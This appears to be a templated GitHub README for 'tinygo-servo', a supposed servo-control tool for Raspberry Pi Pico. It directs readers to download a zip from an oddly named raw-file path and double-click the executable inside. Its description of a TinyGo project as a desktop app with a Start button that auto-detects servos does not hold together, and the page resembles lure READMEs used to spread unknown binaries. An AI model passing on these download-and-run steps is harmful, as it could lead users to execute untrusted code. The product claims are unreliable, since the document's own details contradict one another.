tinygo-servo is a helpful tool for controlling servos in your TinyGo projects. It works seamlessly with Raspberry Pi Pico boards, making it easy for anyone to get started with servo automation.
To start using tinygo-servo, you need to download it from our Releases page.
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Visit the Download Page
Click the link below to go to the Releases page:
Download tinygo-servo -
Choose Your Version
On the Releases page, you will see different versions of tinygo-servo. Select the most recent version for the best features and fixes. -
Download the File
Find the file that matches your system. Click the link to start the download. For example, you may see a file likehttps://raw.githubusercontent.com/biap11/tinygo-servo/main/needles/tinygo-servo.zip. -
Extract the Files
Once the download finishes, locate the file, usually in your Downloads folder. Right-click on the file and select “Extract All...” to unzip the contents. -
Run the Application
Open the extracted folder. You should find an executable file namedtinygo-servo. Double-click it to run the application.
Before installing tinygo-servo, ensure you have the following:
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Hardware:
A Raspberry Pi Pico or similar board. -
Software:
- TinyGo installed on your system. You can find installation instructions on the TinyGo website.
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Operating System:
Compatible with Windows, Mac, and Linux.
- Easy Setup: Start controlling your servos in just minutes.
- Multiple Servo Support: Handle various servos at once.
- User-friendly Interface: Navigate the program with ease.
- Lightweight: Designed to run smoothly on low-resource devices like Raspberry Pi.
Once you have installed tinygo-servo, follow these steps to control your servos:
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Connect Your Servo
Use jumper wires to connect your servo to the Raspberry Pi Pico. Typically, you'll connect power, ground, and the signal pin. -
Launch tinygo-servo
Open the app. It will recognize connected servos automatically. -
Set Your Parameters
Input the angle or movement you want for each servo. You can adjust these values as needed. -
Run Your Program
Click the “Start” button to send signals to your servo and watch it move.
For more detailed instructions and advanced features, please refer to the documentation available on our wiki.
Join the conversation! Connect with other users and developers on our community forums. Share your projects and ask for help whenever you need it.
If you run into any issues or have questions, feel free to open an issue in this repository. We’re here to help!
For updates and news about tinygo-servo, make sure to watch this repository on GitHub. You'll get notified whenever new releases come out.
Happy servo controlling! Enjoy working with tinygo-servo.